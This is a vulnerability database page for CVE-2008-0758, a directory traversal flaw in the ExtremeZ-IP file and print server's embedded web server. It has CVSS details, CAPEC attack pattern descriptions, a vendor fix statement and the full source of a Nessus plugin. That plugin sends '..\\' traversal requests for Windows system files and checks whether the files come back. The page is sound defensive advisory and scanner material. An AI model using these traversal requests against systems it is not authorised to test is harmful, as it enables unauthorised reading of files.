Vulnerabilities > CVE-2008-0758 - Path Traversal vulnerability in Group Logic Extremez-Ip File Server and Extremez-Ip Print Server

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
NONE
Availability impact
NONE
network
low complexity
group-logic
CWE-22
nessus

Summary

Multiple directory traversal vulnerabilities in the Zidget/HTTP embedded HTTP server in ExtremeZ-IP File and Print Server 5.1.2x15 and earlier allow remote attackers to read arbitrary (1) gif, (2) png, (3) jpg, (4) xml, (5) ico, (6) zip, and (7) html files via a "..\" (dot dot backslash) sequence in the filename.

Vulnerable Configurations

Part Description Count
Application
Group_Logic
2

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Nessus

NASL familyCGI abuses
NASL idEXTREMEZ_IP_ZIDGET_DIR_TRAVERSAL.NASL
descriptionThe remote host is running ExtremeZ-IP, a file- and print-server for Windows. The version of ExtremeZ-IP includes a web server, which provides access to the Zidget widget and master list and is affected by a limited directory traversal vulnerability. By leveraging this issue, an unauthenticated, remote attacker can retrieve files on the same drive as the application and of type
last seen2020-06-01
modified2020-06-02
plugin id30253
published2008-02-12
reporterThis script is Copyright (C) 2008-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/30253
titleExtremeZ-IP File and Print Server Zidget/HTTP Server Traversal Arbitrary File Access
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(30253);
  script_version("1.17");

  script_cve_id("CVE-2008-0758");
  script_bugtraq_id(27718);
  script_xref(name:"Secunia", value:"28862");

  script_name(english:"ExtremeZ-IP File and Print Server Zidget/HTTP Server Traversal Arbitrary File Access");
  script_summary(english:"Tries to retrieve a local file");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by a directory traversal
vulnerability." );
 script_set_attribute(attribute:"description", value:
"The remote host is running ExtremeZ-IP, a file- and print-server for
Windows. 

The version of ExtremeZ-IP includes a web server, which provides
access to the Zidget widget and master list and is affected by a
limited directory traversal vulnerability.  By leveraging this issue,
an unauthenticated, remote attacker can retrieve files on the same
drive as the application and of type '.gif', '.png', '.jpg', '.xml',
'.ico', '.zip', or '.html'

Note that there are also reportedly two denial of service
vulnerabilities associated with this version of ExtremeZ-IP, although
Nessus has not checked for them." );
 script_set_attribute(attribute:"see_also", value:"http://aluigi.altervista.org/adv/ezipirla-adv.txt" );
 script_set_attribute(attribute:"see_also", value:"http://www.grouplogic.com/files/ez/hot/hotFix51.cfm" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to ExtremeZ-IP 5.1.3x03 or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_cwe_id(22);
 script_set_attribute(attribute:"plugin_publication_date", value: "2008/02/12");
 script_cvs_date("Date: 2018/08/22 16:49:13");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2008-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_require_ports("Services/www", 8081);

  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:8081, embedded: 1);

# Make sure the banner looks like Extreme-Z.
banner = get_http_banner(port:port, exit_on_fail: 1);
if ("Server: ExtremeZ-IP/" >!< banner)
 exit(0, "The web server on port "+port+" is not ExtremeZ-IP.");


# Make sure Nessus knows it's an embedded server.
replace_kb_item(name:"Services/www/" + port + "/embedded", value:TRUE);


# Try to exploit the issue.
if (thorough_tests) files = make_list(
  "\\WINDOWS\\PCHEALTH\\HELPCTR\\Config\\dataspec.xml",
  "\\WINNT\\Web\\Wallpaper\\Paradise.jpg",

  "\\WINDOWS\\system32\\icsxml\\osinfo.xml",

  "\\WINDOWS\\system32\\wbem\\xsl-mappings.xml"
);
else files = make_list(
  "\\WINDOWS\\PCHEALTH\\HELPCTR\\Config\\dataspec.xml",
  "\\WINNT\\Web\\Wallpaper\\Paradise.jpg"
);

foreach file (files)
{
  url = string("/..\\..\\..\\..\\..\\..\\..\\..\\..\\..", file);
  r = http_send_recv3(method:"GET",item:url, port:port, exit_on_fail: 1);
  res = r[2];

  # There's a problem if
  if (
    # we requested an XML file and it looks like one or...
    (
      ".xml" >< file &&
      '<?xml version="'>< res
    ) ||
    # we requested a JPEG file and it looks like one
    (
      ".jpg" >< file &&
      substr(res, 0, 3) == raw_string(0xff, 0xd8, 0xff, 0xe0)
    )
  )
  {
    if (report_verbosity)
    {
      report = string(
        "\n",
        "Nessus was able to read a file on the remote host using the path :\n",
        "\n",
        "  ", url, "\n",
        "\n",
        "Note that this must be sent as-is and will not work in a browser\n",
        "if it is URL-encoded.\n"
      );
      if (".xml" >< file)
        report = string(
          report,
          "\n",
          "Here are its contents :\n",
          "\n",
          res
        );
      security_warning(port:port, extra:report);
    }
    else security_warning(port);
    exit(0);
  }
}

Statements

contributor
lastmodified2008-02-21
organizationGroup Logic
statementGroup Logic has fixed this issue in the ExtremeZ-IP 5.1.3x03 hotfix released on February 20, 2008. The update is free for all customers with active service contracts who own a version 5.x license and can be downloaded from http://www.grouplogic.com/files/ez/hot/hotFix51.cfm